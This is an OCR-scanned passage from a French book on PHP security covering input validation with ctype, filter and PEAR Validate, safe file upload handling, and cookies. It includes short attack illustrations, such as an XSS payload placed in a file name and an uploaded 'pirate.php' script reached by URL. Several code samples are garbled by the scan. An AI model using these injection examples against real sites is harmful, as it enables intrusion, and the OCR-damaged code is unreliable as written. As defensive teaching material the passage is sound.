<?php 

Sstrings = array( ' KjgWZC ' , 'arfl2', 'qweresd'); 
setlocale(LC_ALL, 'fr_FR'); 
foreach (Sstrings as $testcase) { 

if (ctype_alpha($testcase)) ( 
echo "La chaine $testcase ne contient que des lettres.\n"; 

} else { 

echo "La chaine Stestcase ne contient pas que des lettres.\n"; 

} 

} 

?> 

Ctype est une extension robuste et rapide, mais elle n'est pas toujours adaptee aux situations 
complexes. Elle est parfaite pour realiser des tests initiaux assez generiques, mais jettera 
rapidement l'eponge devant des problemes reels. Pour cela, il y a l'extension f i 1 ter, qui 
tend a remplacer definitivement Ctype. 

L'extension filter 

filter est une nouvelle extension, qui est integree dans la distribution standard 
depuis PHP 5.2.0. Les versions plus anciennes sont disponibles sur le site de PECL : 
http://pecl .php.net/ 

f i 1 ter propose une gamme de filtres bien plus vaste que celle de Ctype et avec un cout de 
validation plus faible que les expressions regulieres. 
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Elle permet de valider des types classiques, comme les nombres ou les chaines, mais aussi 
des formats plus complexes, comme les URL ou les courriers electroniques. Contraire- 
ment a Ctype, elle permet aussi de nettoyer les valeurs au lieu de simplement les rejeter : 

$_CLEAN[' email'] = filter_data($_GET[ 'email'], FI LTER_VALI DATE_EMAI L) ; 

Si $_GET contient une adresse electronique valide, la valeur sera retournee a l'identique. 
Ds le cas contraire, la fonction filter_data retourne la valeur FALSE. 

f i 1 ter est capable de fonctionner recursivement : lorsque le premier argument est un tableau, 
chaque element est valide avec les nitres qui sont indiques comme arguments suivants. 

fi 1 ter dispose aussi de directives qui permettent d'imposer l'utilisation des nitres sur les 
donnees entrantes, avant meme que le script PHP ne soit execute. Par defaut, cette direc- 
tive utilise le nitre UNSAFE_RAW, qui signifie litteralement DANGEREUX_BRUT. C'est le nitre qui 
ne nitre rien. Cette valeur est choisie pour assurer la compatibilite ascendante de PHP 
avec les versions d' applications qui ne sont pas capables de prendre en charge f i 1 ter. 

Evidemment, il est recommande d'utiliser d'autres valeurs pour cette directive. II faut alors 
passer en revue la liste des options disponibles pour choisir la plus adaptee a votre applica- 
tion, f i 1 ter_sani ti ze_stri ng est probablement la valeur la plus interessante : elle supprime 
les balises et tous les caracteres speciaux. D'autres, telles que filter_sanitize_int, qui 
convertit toutes les donnees en entier, n'auront que des applications tres specifiques. 

filter est une extension recente. Elle est maintenant integree dans la distribution stan- 
dard de PHP et est appelee a jouer un role important dans la securite des applications 
PHP. II est recommande de l'integrer autant que possible dans les applications. 

PEAR_Validate 

Jusqu'a present, les donnees validees ont des formats tres simples, utiles aux informati- 
ciens et a beaucoup d'entre nous, mais dont le champ d'application est parfois un peu 
generique. 

II existe de nombreux formats de donnees dans le monde professionnel : certains sont 
standardises, d'autres sont des normes. C'est la que PEAR vient a la rescousse, avec le 
paquet Val idate. Ne confondez pas Val idate avec PEARJ/al idate, qui est un paquet utile a 
la gestion de PEAR. 

Ce paquet est une classe PHP qui donne acces a des fonctions de validation de haut 
niveau. Le paquet francais propose ainsi des fonctions pour valider le code postal, un 
RIB, un SSN, un numero SIREN et SIRET, ainsi que les departements francais. Voici un 
exemple d' utilisation : 

<?php 

ini_set( ' incl ude_path ' , ini_get( ' incl ude_path ' ) . ' : /usr/1 ib/php/ ' ) ; 
incl ude( ' /usr/1 ib/php/ Val idate/FR.php' ) ; 
$v = new Validate_FR(); 

if ($v->postalCode('75010')) { print 'Code postal valide'; } 

?> 
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II y a des paquets pour de nombreux pays, qui rendent disponibles beaucoup de regies de 
validations. 



Dans la gestion des formulaires, les fichiers representent l'extension naturelle des varia- 
bles. Certains formats de fichiers, comme les images, sont a la fois encombrants et peu 
naturels a manipuler sous forme de copier-coller. II fallait un mecanisme particulier pour 
gerer 1' envoi d'un fichier entier sur un serveur web et PHP s'est toujours montre a la 
hauteur pour cette tache. 

Les applications sont nombreuses : la plus populaire est sans conteste la galerie d'images, 
qui publie des albums photo en ligne. II y a aussi les sites d'echange de fichiers, qui 
exploitent des fichiers allant jusqu'a 300 Mo. 

Du point de vue de la securite, le chargement de fichier sur un serveur web est un 
probleme epineux, mais dont les aspects les plus difficiles sont les moins apparents. Le 
chargement de virus ou de chevaux de Troie sur un serveur web est souvent cite comme 
un risque de securite, alors que les images GIF ou des scripts PHP peuvent se reveler 
bien plus destructeurs. 

Comment les fichiers sont envoyes sur le serveur 

Le chargement de fichiers se fait a l'aide d'une balise relativement mal connue dans les 
formulaires : 

<form action="http://l ocal host/upl oad.php" enctype="mul tipart/form-data"> 

<input type=" hidden" name="MAX_FILE_SIZE" val ue="30000" /> 

<input type="file" name="fichier" /> 

<input type=" submit" name="envoyer" /> 
</form> 

Ce formulaire va s'afhcher comme sur la figure 3-1. 



Lorsque le formulaire est soumis, le navigateur envoie le fichier au serveur web. PHP le 
recoit et prepare les informations dans le tableau superglobal $_FI LES. 

Ce dernier contient les informations suivantes : 

• $_FILES[ 'fichier' ][ 'name'] : le nom original du fichier, tel qu'il apparait sur la machine 
du client web. 




Le telechargement de fichiers 



Figure 3-1 

Fichier importe dans le 
formulaire 



' Browse- ^ ( Submit Query ^ 
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• $_FILES['f1ch1er']['type'] : le type MIME du fichier, quand le navigateur a fourni cette 
information. Par exemple, celapourra etre "image/gif". Ce type MIME n'est cependant 
pas verifie du cote de PHP et, done, ne prend pas sa valeur pour se synchroniser. 

• $_FILES[ 'fichier' ][ 'size'] : la taille, en octets, du fichier telecharge. 

• $_FI LES[ ' f i chi er ' ] [ ' tmp_name ' ] : le nom temporaire du fichier qui sera charge sur la 
machine serveur. 

• $_FILES[ 'fichier' ][ 'error'] : un message d'erreur eventuel. 

Au moment ou PHP est appele pour executer le script, le fichier est arrive et stocke 
temporairement sur le serveur web. II est a la disposition de PHP pour etre traite. II est 
generalement place dans un dossier temporaire, tel que /tmp. La responsabilite incombe a 
PHP de savoir s'il veut conserver le fichier ou non. 

En fait, les problemes de securite ont commence bien avant. 

La taille des fichiers 

Le premier probleme qui peut survenir tient directement dans la taille des fichiers qui 
sont transmis a PHP. II y a plusieurs moyens de limiter cette taille, avec une efficacite tres 
variable. 

MAX_FILE_SIZE 

Le premier moyen pour limiter la taille du fichier est d'utiliser la balise cachee 
MAX_FI LE_SIZE, en lui precisant une taille maximale, exprimee en octet. Dans l'exemple 
precedent, la taille du fichier est limitee sur le client a 30 000 octets, e'est-a-dire un petit 
fichier d' environ 30 ko. 

Comme toujours pour une validation placee du cote du navigateur, il est tres facile de la 
contourner. Elle sert effectivement a limiter un utilisateur legitime et lui indiquera imme- 
diatement que son fichier est trop gros, avant meme de l'envoyer au serveur. Cela fait 
autant de travail en moins sur le reseau et pour le serveur. 

Du point de vue de la securite, e'est une protection faible, car il suffit de supprimer cette 
balise du formulaire pour lever la defense : en recopiant le formulaire, en utilisant des 
extensions de debogage pour FireFox ou encore si le navigateur ignore simplement cette 
balise. 

upload_file 

Une autre protection, du cote du serveur cette fois, est la directive upload_file, de php.ini. 
Elle configure simplement la capacite de PHP a accepter ou pas les telechargements de 
fichiers. Si elle est reglee a off, comme e'est le cas par defaut, les fichiers telecharges 
sont ignores et $_FI LES n'est pas rempli. C'est evidemment la securite maximale et si 
votre site ne requiert aucun telechargement de fichiers, il est recommande de ne pas 
l'activer. 
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Si vous souhaitez mettre en place le telechargement de fichiers, PHP vous propose une 
autre directive de protection : max_upload_size. Sa valeur par defaut est de 2 Mo. Les 
bonnes pratiques recommandent de la laisser aussi faible que possible. 

II faut savoir que max_upload_size depend aussi de memoryjl imit, qui configure la quantite 
totale de memoire et de max_post_size, qui configure la taille totale des donnees pouvant 
etre envoyees via la methode POST. La pratique est la suivante : 

Memory_l imit >= max_post_size >= max_upl oad_size 

Voyez la section sur la configuration PHP pour mieux choisir les valeurs de ces directi- 
ves. 



Les formats de fichiers 

La premiere chose a faire lors de la reception d'un fichier est de valider son format. II faut 
savoir que le navigateur se fie uniquement a 1' extension du fichier pour indiquer le type 
MIME qui arrive : un fichier PHP, qui est baptise avec une extension d' image PNG, est 
indique par le navigateur comme une image. Cela se reflete dans le tableau $_FI LES : 

Array 
( 

[fichier] => Array 
( 

[name] => script. php.png 
[type] => image/png 
[tmp_name] => /var/tmp/phpnFluUg 
[error] => 0 
[size] => 651 

) 

) 

Comme le type MIME est fourni par le navigateur, il est impossible de s'y her. Le ' type ' 
indique dans la variable $_FI LES doit etre ignore. On ne peut pas non plus se fier a l'exten- 
sion du fichier charge. 

Comme pour les variables, il faut valider le format du fichier. Et, pour cela, il faut un 
systeme de validation complementaire, adapte au format de fichier attendu. 

Par exemple, getimagesize() est capable de decoder le contenu pour connaitre certaines 
informations sur l'image sans l'ouvrir. Cette fonction travaille sur le contenu du fichier et 
non pas sur l'en-tete. Elle est fiable pour determiner le bon format de fichier et ne depend 
pas de la distribution ou de la presence d'une bibliotheque externe. 

<?php 

var_dump( get i mages ize( "fichier.xyz" )) ; 
var_dump( get i mages ize( "autre. xyz" ) ) ; 
?> 
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array(6) { 
[0]=> 
int(16) 
[1]=> 
int(16) 
[2]=> 
int(3) 
[3]=> 

string(22) "width="16" height="16"" 

["bits"]=> 

int(8) 

["mime"]=> 

string(9) "image/png" 

} 

bool (fal se) 

Dans ce script, le premier fichier a ete reconnu comme une image, mais le second n' a pas 
ete reconnu du tout. getimagesize( ) gere un certain nombre de formats : GIF, JPEG, 
PNG, JPC, JP2, JPX, JB2, XBM, WBMP, JPEG 2000, SWC et TIFF. 

Extension fileinfo 

Pour tester les autres formats, il faudra utiliser d'autres techniques. La meilleure approche 
est celle de l'extension fileinfo de PHP. Elle analyse le fichier et recherche differentes 
caracteristiques de formats et des donnees particulieres a differents endroits du fichier 
pour en deduire un type MIME. 

<?php 

$finfo = finfo_open(FILEINFO_MIME); 

echo finfo_file ($finfo, $_FI LES[ ' f i chi er ' ] [ ' tmp_name ' ] ) ; 
finfo_close($finfo) ; 

?> 

L' approche de f i 1 ei nf o est plutot sure : c'est bien la structure du fichier qui est analysee. 
A aucun moment l'extension n'essaie de se servir du fichier pour l'ouvrir ou l'executer. 
Certes, il est possible de formater un fichier pour qu'il passe les criteres de f i 1 ei nf o, mais 
c'est tres difficile et le resultat ne sera peut-etre pas utilisable pour en faire autre chose. 

Malheureusement, f i 1 ei nf o n'est pas encore disponible sur tous les serveurs. L'extension 
est experimental et disponible sur le site de PECL. Esperons qu'elle retiendra 1' attention 
des developpeurs PHP prochainement. 

Autres formats 

Pour les autres formats de fichiers, il est recommande de vous munir d'utilitaires qui permet- 
tent de valider l'integrite d'un fichier, ou bien d' utiliser les specifications du format des fichiers 
que vous recevez pour valider le contenu. Le site de fileinfo (http://www.fi leinfo .net/) 
contient des descriptions de centaines d' extensions de fichiers, ainsi que des liens vers leurs 
specifications. Vous pourrez y puiser des informations precieuses pour mieux comprendre 
les fichiers que vous manipulez. 
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Les noms de fichiers sont egalement vulnerables 

II est generalement bien compris que le format du fichier attendu doit etre valide. Cepen- 
dant, il faut bien avoir en tete que le nom du fichier lui-meme peut etre une source de 
vulnerability . II y a deux raisons a cela : la compatibility avec votre systeme et les injec- 
tions XSS. 

Caracteres interdits 

Avec le Web, les fichiers qui sont charges sur votre serveur proviennent de differentes 
sources et systemes d' exploitation. La beaute du web fait que vous pouvez ignorer gene- 
ralement les systemes d' exploitation que vos visiteurs utilisent pour se connecter a votre 
serveur. Neanmoins, lors de la reception de fichiers, il est temps d'y preter attention. 

La variable $_FI LES[ 'f ichi er ' ] [ 'name' ] contient le nom du fichier original. Ce nom satis- 
faisait les contraintes du systeme d'origine, mais pas forcement celles du systeme sur 
lequel vous le recevez. Notamment, Windows utilise la barre oblique inverse (ou slash) \ 
comme separateur de dossiers, alors que Linux utilise la barre oblique /. 

Le probleme survient lors de la sauvegarde du fichier telecharge. Pour conserver le 
fichier charge sur le serveur, il faut en faire une copie, ou le deplacer depuis son dossier 
temporaire vers un stockage permanent. Pour cela, il est frequent de voir les applications 
web utiliser le nom original du fichier comme nom de stockage. 

<?php 

//premieres validations 

move_uploaded_fil e($_FILES[ 'fichier ' ][ ' tmp_name' ] , ' /stockage/permanent 
'.$_FILES[' fichier '][' name'] ); 

?> 

Sous Linux, si le nom original du fichier contenait un /, comme ceci : 
partie/partie2.txt 

alors la sauvegarde ne se fera pas dans le dossier /stockage/permanent/, mais dans 
/stockage/permanent /pa rtie/. 

Outre les problemes avec les barres obliques, d'autres caracteres peuvent perturber le 
systeme, comme le caractere nul 1 , les espaces ou les caracteres invisibles. 

La taille des noms de fichiers 

Le probleme se pose aussi au niveau de la taille maximale du nom de fichier. Comme le 
nom du fichier d'origine est fourni par le navigateur, il peut etre aussi long que voulu et 
le protocole HTTP n'indique aucune limite. Vous pourriez recevoir un nom de fichier 
bien trop long pour votre systeme. 

Par exemple, le client vous envoie un fichier dont le nom fait 257 caracteres, alors que 
votre systeme n'en accepte que 255. Une rapide recherche avec f i 1 e_exi sts ( ) vous indi- 
quera que le systeme ne contient aucun fichier du meme nom que celui qui est recu : 
f i 1 e_exi sts( )retourne f al se si le fichier n'existe pas ou si une erreur est rencontree. 
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<?php 

$fichier = str_repeat( ' a ' , 257); 

if (file_exists($fichier)) { 

print ' Le fichier existe deja'; 

diet); 
} else { 

print 'On peut stocker le fichier'; 

} 

// ecriture du fichier 
$fp = fopen($fichier, 'w+'); 
fwrite($fp, 'a') ; 
f cl ose($fp) ; 

if (file_exists($fichier)) { 

print ' Le fichier a pu etre cree'; 
} else { 

print ' Le fichier n\'a pas pu etre cree : une erreur de sauvegarde est survenue.'; 

} 

?> 

Le code ci-dessus reinterprete pas correctement le retour de la fonction f i 1 e_exi sts ( ) : 
cette derniere retourne false non pas parce que le fichier n'existe pas, mais bien parce 
que le nom du fichier est trap grand. Ce qui est valable sur un systeme d' exploitation 
n'est peut etre pas valable sur le voire. 

Injections HTML par nom de fichiers 

Nous avons deja vu que les injections HTML tentent de placer une balise HTML dans 
une page web. Pour cela, leur but est de faire entrer des caracteres tels que < et > dans 
1' application. 

Or, les systemes de fichiers modernes n'ont pas les memes contraintes de presentation 
qu'une page web. II est done facile d'utiliser les caracteres < et > dans un nom de fichier. 

Sou vent, apres chargement, le nom du fichier est affiche pour indiquer le succes de 1' opera- 
tion. Au pire, le nom du fichier sera reutilise lorsque 1' application listera le contenu du 
dossier de chargement a radministrateur. Si le nom du fichier charge n'a pas ete valide, 
comme n'importe quelle autre variable, alors cela engendre une injection XSS. 

Ainsi, plusieurs vieilles versions de logiciels, comme certaines versions de mambo CMS, 
utilisaient cette instruction pour afficher une erreur de telechargement ou bien le nom du 
fichier une fois charge : 

print $_FILES['file']['name']; 

si le fichier d'origine portait le nom de : 



<script src="xss. js"> 
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Alors il y a une injection de code. 
Bien proteger ses noms de f ichiers 

A ce stade, vous aurez bien compris qu'il est important de ne pas utiliser le nom du 
fichier d'origine comme nom de stockage sur votre systeme. 

Pour eviter tout probleme et conserver malgre tout le nom d'origine pour l'utiliser plus 
tard, lorsque l'utilisateur en aura a nouveau besoin, il faut stacker le nom d'origine dans 
un stockage separe et fournir un nom unique vous-meme. 

<?php 

// apres validation des fichiers 

$nom_tmp = md5($_FILES[ 'fichier' ][ 'name '] ) ; 

$fp = fopenCliste.txt', 'a') ; 

$sauve_nom = fwrite($fp, $_FILES['fichier']['name']."\t $nom_tmp\n" ) ; 
fclose($fichier) ; 

if ($sauve_nom != 0 && move_uploaded_files($_FILES['fichier']['tmp_name'], 
**'/stockage/permanent/' .$nom_tmp) ) { 

print html entities($_FILES['fichier'][' name'], ENT_COMPAT, ' ISO-8859-1 ' ) . " 

*-a bien ete charge. " 
} else { 

print 'Un probleme est survenu durant la sauvegarde du fichier 

*•' .htmlentities($_FILES['fichier']['name'], ENT_COMPAT, 'ISO-8859-1') ; 

} 

?> 

En utilisant la fonction MD5, vous etes certain qu'il n'y aura aucun caractere qui vous 
gene dans le nom de stockage du fichier. De plus, il est fort peu probable que vous ayez 
des doublons de fichiers, car MD5 produit exceptionnellement des valeurs identiques a 
partir de valeurs distinctes. 

Savoir gerer les fichiers regus 

Avant me me d'en regarder le contenu, il y a plusieurs aspects a prendre en compte avec 
les fichiers qu'on manipule. 

Nombre de fichiers dans un dossier 

PHP se charge de limiter la taille d'un fichier lors du telechargement. En revanche, il n'y 
a pas de limite au nombre de fichiers dans un dossier. Meme un disque dur de 200 Go 
finira par etre rempli si on charge de nombreux fichiers de 2 Mo. 

Pour le bon fonctionnement d'une application web, il est done recommande de bloquer le 
service de chargement, une fois qu'un nombre significatif de fichiers a ete charge. 

<?php 

if (count(scandir( '/stockage/permanent/' )) > 2000) { 
print 'Par suite dVune forte affluence, nous avons momentanement interrompu 
*le chargement de fichiers.' ; 
die() ; 

} 

?> 
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<form act ion="http:// local host/upload.php" enctype="multipart/forin-data"> 

<input type="hidden" name="MAX_FILE_SIZE" val ue="30000" /> 

<input type="file" name="fichier" /> 

<input type="submit" name="envoyer" /> 
</form> 

Vous pouvez aussi limiter le dossier de chargement a une taille cumulee maximale, au 
lieu de compter simplement le nombre de fichiers qui sont ranges dedans. Pour cela, il 
faudra commencer par mesurer la taille du dossier, a l'aide de la fonction files ize() 
appliquee a chaque fichier. 

Au niveau systeme, il est recommande de placer les fichiers en attente de validation dans 
une partition independante, avec une taille limitee. De cette maniere, les fichiers charges 
ne pourront pas utiliser toute la capacite du disque et perturber le reste de l'application. 
Une fois la partition remplie, les chargements ne seront plus possibles. 

Tempete de petits fichiers 

Une technique de deni de service comparable au systeme precedent consiste a charger 
des centaines de petits fichiers sur le serveur web. S'il y a une limite de stockage par 
nombre de fichiers dans le dossier, cela pourra rapidement bloquer les fonctionnalites du 
site et le mettre en berne. 

La tempete de petits fichiers vise a bloquer le systeme en le bourrant d'un grand nombre 
de petites requetes. Des images GIF d'un seul pixel coutent quelques octets a envoyer sur 
le reseau, mais occuperont un bloc complet de disque dur de plusieurs kilo-octets. 

Cette technique fonctionne surtout si un mecanisme de moderation a ete mis en place. Le 
moderateur peut alors etre facilement appele a venir purger regulierement une file inutile 
de fichiers. 

Pensez a mettre une taille minimale aux fichiers qui sont charges. 
Ecrasement de fichiers 

Lors du deplacement d'un fichier en vue de son stockage, assurez-vous qu'il n'existe pas de 
fichier preexistant ayant le meme nom. La fonction f i 1 e_exi sts ( ) realise ce test facilement. 

Sans cela, vous courrez le risque d'ecraser un fichier deja charge et dument modere par 
un fichier nouvellement charge et contenant des informations qui ne satisfont pas votre 
charte. II serait aussi possible d'ecraser un fichier legitime, tel qu'un autre script, 
index. php ou encore un fichier systeme comme /etc/passwd. 

<?php 

if ( !file_exists( ' /stockage/permanent/ ' . $nom_tmp) && move_uploaded_files($_FILES 
' fichier '][ 'tmp_name' ] , '/stockage/permanent/' .$nom_tmp) ) { 

print htmlentities($_FILES['fichier']['name'], ENT_COMPAT, ' ISO-8859-1 ' ) . " 

*»a bien ete charge. " 
} else { 

print 'Un probleme est survenu durant la sauvegarde du fichier 

*•' .htmlentities($_FILES['fichier']['name'], ENT_COMPAT, 'ISO-8859-1') ; 

} 

?> 
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Moderation 

La moderation est le dernier rempart entre un contenu de mauvais gout et sa publication 
sur votre site. Elle consiste a mettre n'importe quel fichier qui vient d'etre charge en 
quarantaine, dans un dossier hors Web. De cette maniere, le fichier n'est pas accessible 
depuis l'exterieur et cela laisse le temps au moderateur de venir 1' examiner, ou simple- 
ment le valider manuellement. Parfois, la moderation est la seule solution pour proteger 
une application web contre le contenu indu. 

II existe des outils pour effectuer des preclassements automatiques. La technique la plus 
classique est la recherche de mots interdits (liste noire). II existe aussi des techniques de 
nitres bayesiens en PHP, (chez IBM, « Implement Bayesian inference using PHP », 
http://www-128.ibm.eom/developerworks/web/l i bra ry/wa -bay esl/), pour identifier automa- 
tiquement des spams a l'aide d'un entrainement. 

On peut egalement signaler la classe imagenudityfilter, de Bakr Alsharif, distribute par 
PHPclasse.org. Elle propose notamment d'indiquer si une image contient de la nudite ou 
pas. Elle se base sur les couleurs utilisees dans 1' image pour etablir un indicateur. 

Quoique tres utile pour gerer de forts volumes, ce type d'outils doit rester une aide, afin 
de ne pas classer certains cas limites trop rapidement. 



Les types de fichiers 

Les types de fichiers charges sur le serveur sont cruciaux pour la securite de ce dernier. 
Nous avons vu plus haut que le format etait un indicateur important. Toutefois, un virus 
dans une archive aura un format valide, mais un contenu a proscrire. Voyons les types de 
donnees les plus dangereux pour les applications web. 

Virus et executables 

Les virus et les programmes executables figurent clairement en tete de liste des fichiers 
les plus dangereux, au moins aux yeux du commun des mortels. 

Evidemment, ce type de fichier est dangereux. II suffit qu'un virus soit charge et execute 
sur un serveur pour que ce dernier soit pris en otage. Toutefois, si le chargement d'un 
virus est facile, son execution est plus complexe. 

Par defaut, les fichiers arrivent avec des droits de lecture, mais jamais de droits d' execution. 
Ensuite, le serveur web est souvent configure pour avoir un niveau de droits faible sur 
serveur, en dehors des fichiers qu'il publie. II faut done que l'administrateur du serveur 
aille voir lui-meme une piece jointe et se dise, a l'instar de nombreux utilisateurs de client de 
messagerie « tiens, e'est interessant, voyons ce que cela fait quand on 1' execute ». 

Les virus doivent d'ailleurs etre nettoyes en utilisant un antivirus, que ce soit un programme 
externe ou bien une extension de PHP : l'extension clamav (http://www.phpclamavlib.org/) 
utilise la bibliotheque de l'antivirus ouvert et libre clamav (http://www.clamav.net/) pour 
analyser et nettoyer des fichiers. 
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Si vous n'utilisez pas d' antivirus integre a PHP, vous pourrez surement utiliser une 
commande du systeme exteme pour appeler un tel antivirus. 

Bibliotheques 

Les bibliotheques externes, telles que les .so d'Unix ou les .dll de Windows, sont une 
autre source de probleme courant. Une fois ces fichiers charges sur le serveur, il est possi- 
ble de les executer via PHP, a l'aide de la fonction dl ( ), qui charge dynamiquement une 
bibliotheque. 

La meilleure parade contre ce type de probleme est d'interdire la fonction dl ( ), ce qui 
sera fait par defaut, pour les versions web de PHP 6. 

Scripts PHP 

En fait, le pire danger dans le cadre des chargements de fichiers est le chargement de 
script PHP. En effet, pour executer un script PHP sur un serveur, il suffit que ce dernier 
soit sur le serveur, et possede les droits de lecture. Les droits d'execution sont l'apanage 
du serveur web et il suffit que ce dernier soit capable d'acceder au fichier pour qu'il 
s' execute avec les memes droits que l'auteur du site. 

Apres chargement du fichier sur le serveur web, si ce dernier est accessible depuis l'exte- 
rieur avec une URL predictible, alors il devient possible d'injecter du code PHP sur un 
site. Admettons que les fichiers soient charges dans le dossier /upl oad/, sous la racine du 
site. En pratique, les fichiers charges portent le nom du fichier d'origine, il suffit maintenant 
d' utiliser cette adresse pour executer un script : 

http://www.site.com/upload/pi rate.php 

Pour se proteger contre le chargement de script PHP, il existe plusieurs techniques : 

• Le dossier hors web : si le dossier de chargement est hors de la racine web, cela 
empeche les acces externes aux fichiers qu'il contient. 

• Les extensions neutres : un serveur web choisit de passer un fichier a PHP ou pas en 
fonction de son extension. Donnez une extension neutre au fichier. 

• Changez le nom du fichier charge le temps de sa moderation. 
Des extensions interdites 

Une autre solution possible est de configurer une extension de fichier au niveau du 
serveur web, de telle facon qu'elle ne soit jamais publiee par le serveur. 

Par exemple, c'est le cas par defaut des fichiers qui sont prefixes par un point « . » avec 
Apache. Vous pouvez reprendre cette configuration pour creer votre propre extension 
interdite de publication : 

<Files ~ "\.cache$"> 

Order allow, deny 

Deny from all 

Satisfy All 
</Files> 
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Figure 3-2 

Acces interdit a un fichier 
lorsque son extension 
n 'est pas correcte 

Apache/ 1.3. 33 Server at tutoriel-php. local Port 80 



Forbidden 

You don't have permission to access /into. php. cache on this server. 



Cette interdiction intervient avant que le fichier ne soit reellement recherche sur le 
serveur : ainsi, que le fichier info. php. cache existe ou non sur le serveur web, le meme 
message apparait. Cela evite d'indiquer l'existence du fichier sur le serveur, meme s'il 
n'est pas publiable. 
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Cookies et sessions 



Les cookies et les sessions sont destines a conserver entre deux requetes ou deux sessions 
des informations concernant l'internaute afin de faciliter sa navigation. II est bien 
entendu necessaire de garantir la confidentialite et le bon usage de ces donnees qui, par 
nature, sont tres vulnerables. 

Les cookies 

Les cookies, aussi appeles temoins, sont surement les plus mal aimes du Web. Les utili- 
sateurs les regardent d'un air mefiant, car ils permettent de les marquer pour mieux les 
suivre : fini l'anonymat. Par ailleurs, les webmestres les prennent avec des pincettes, car 
leur niveau de securite est faible : il est trap facile de modifier leur valeur ou d'interdire 
leur utilisation. 

Presentation des cookies 

Les cookies sont un mal necessaire pour satisfaire un besoin criant du Web : le manque 
d'etat. Le protocole HTTP est sans etat, c'est-a-dire que le serveur ne conserve aucun 
lien entre deux sollicitations d'une me me source. Chaque requete au serveur est conside- 
red comme independante de toutes les autres. Cette philosophie permet un gain de perfor- 
mance important au niveau du serveur : ce dernier ne fait que servir les pages, sans assurer 
de coherence dans les visites. 

Evidemment, cela pose un defi aux programmeurs : comment conserver des informations 
sur un visiteur entre deux clics ? Au-dela de la page web, il y a la notion de visite, ou 
encore de session de travail : c'est toute la sequence de pages enchainees par un visiteur 
unique. Que ce soit pour une etude de comportement ou par securite, cette information 
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est vitale. De plus, on ne peut pas envisager de demander une authentification par mot de 
passe a chaque solicitation du serveur, puisque cette demande elle-meme requiert une 
page entiere... 

Les cookies ont done ete inventes pour regler ce type de probleme. Voyons comment ils 
fonctionnent. 

Comment fonctionnent les cookies 

Les cookies sont crees par le serveur, grace a l'en-tete de reponse Set-cookie. En PHP, 
e'est la fonction setCookie qui se charge de cela. Lorsque le navigateur sollicite la page, 
cet en-tete est ajoute dans la reponse. 

Si le navigateur accepte le cookie, ce dernier sera renvoye au serveur a chaque requete, a 
l'aide de l'en-tete Cookie. Si le cookie contient une valeur unique au monde, ou au niveau 
de 1' application, alors le visiteur est identifie de maniere distincte par rapport a tous les 
autres visiteurs qui utilisent le site a ce moment-la. C'est grace a cette caracteristique que 
PHP est maintenant capable de conserver un etat du cote du serveur. 

Notez que les cookies permettent de faire la difference entre deux navigateurs, mais pas 
1' identification du visiteur : il y a une petite nuance entre les deux. Le cookie est pose par 
le serveur, qui le recupere a chaque sollicitation du site. Le serveur peut done affirmer : 
c'est le navigateur a qui j'avais confie la valeur xyz. Cependant, pour relier ce cookie a 
l'identite de M. Dupond, il faudra de nombreuses autres operations de la part du serveur. 

Utilisation pratique des cookies 

Les cookies peuvent etre utilises de deux manieres differentes. La premiere est de s'en 
servir comme preference et la seconde comme identifiant unique. 

Cas du cookie de preference 

Le cookie de preference est simplement l'enregistrement d'une valeur choisie par l'utili- 
sateur, qui servira de configuration personnalisee lors de l'utilisation ulterieure du site. 
Par exemple, si votre site est decline en differentes langues, vous pouvez donner le choix 
a votre utilisateur de selectionner celle qu'il souhaite et la stacker dans un cookie. Les 
cookies sont parfaits pour ce type d' application. 

Attribuez une valeur par defaut au cookie, pour que l'absence de ce dernier ne perturbe 
pas le fonctionnement du site. Puis, faites choisir la langue a votre utilisateur. Lors de ses 
prochaines visites, vous devrez reprendre cette valeur pour faire charger les bonnes 
feuilles de style. 

Dans le cas des cookies de preference, il est recommande de proceder par liste blanche. 
Le cookie doit disposer d'une valeur qui est enregistree dans une liste, egalement appelee 
dictionnaire. Par exemple, si c'est la langue du site qui doit etre choisie, alors vous aurez 
une liste de langues disponibles. Si la langue demandee par le cookie n'est pas dans cette 
liste, alors utilisez la valeur par defaut. 



Cookies et sessions 



Chapitre 4 



Si vous ne pouvez pas proceder par liste blanche, comme dans le cas d'un login d'utilisa- 
teur, alors il faut que les informations soient faciles a ignorer sans perte de fonctionnalite. 
Conserver le login d'un utilisateur dans un cookie represente un confort d' utilisation : 
cela lui evite de le saisir a nouveau lorsqu'il tente de se connecter. Si le login est incorrect, 
ou contient des caracteres d' injection, alors il est toujours possible d'annuler 1' utilisation 
de la valeur du cookie, d'afhcher une erreur de type « login incorrect » et un formulaire 
vide pour recommencer a zero. De cette maniere, la securite de 1' identification peut etre 
facile a mettre en place, sans vraiment gener 1' utilisateur. 

A l'inverse, conserver les coordonnees completes d'un client a l'aide de plusieurs 
cookies ne simplifie pas beaucoup sa tache, etant donne qu'un site web ne demande 
guere plus d'une seule fois ces informations. Et lors des demandes ulterieures, il ne sera 
pas facile de verifier que ces donnees n'ont pas ete alterees, d'une maniere ou d'une autre, 
ou meme rendues obsoletes. II faudra done repasser par une verification aupres de l'utili- 
sateur, voire par la saisie complete. En bref, non seulement des donnees critiques auront 
ete stockees dans un mecanisme peu sur, mais en plus il faudra recommencer l'operation 
presque certainement. 

Cas du cookie de session 

L' autre utilisation des cookies concerne uniquement la session. Ici, le cookie ne porte 
plus d' informations par lui-meme, mais il permet a PHP de retrouver des donnees 
personnalisees dans un depot de donnees sur le serveur. C'est exactement le principe de 
fonctionnement des sessions de PHP et il en existe d'autres applications, comme les 
formulaires a usage unique. 

Lorsque vous demarrez une session PHP, ce dernier produit un identifiant de session, 
sous forme d'une chaine de 32 chiffres hexadecimaux. Cet identifiant ne contient aucune 
information utile au webmestre ou au visiteur du site. Son objectif est d'etre unique et 
distinct de tous les autres identifiants qui sont utilises sur le serveur. Cela permet a PHP 
de creer un fichier de stockage, range par defaut dans le dossier /tmp/ : le fichier porte 
alors le meme nom que son identifiant. C'est dans ce fichier qu'il va enregistrer les variables 
de sessions, qui sont particulieres au visiteur courant. 

Avec cette technique, PHP depasse done les problemes de capacite que Ton rencontre 
avec les cookies : un fichier sur le serveur peut contenir autant de donnees que Ton veut. 
Comme toujours, il faut rester raisonnable avec la quantite des donnees qui sont stockees, 
mais en comparaison avec les 20 cookies de 4 ko maximum, les sessions ont des limites 
qui sont bien plus elevees. 

En termes de securite, le cookie de session a surtout un but : faire la relation entre un 
utilisateur et les donnees associees sur le serveur. La generation des identifiants est suffi- 
samment aleatoire et travaille sur un ensemble de valeurs assez grand (le nombre de 
possibilites est de 32 puissance 16) pour que deux internautes n'aient raisonnablement 
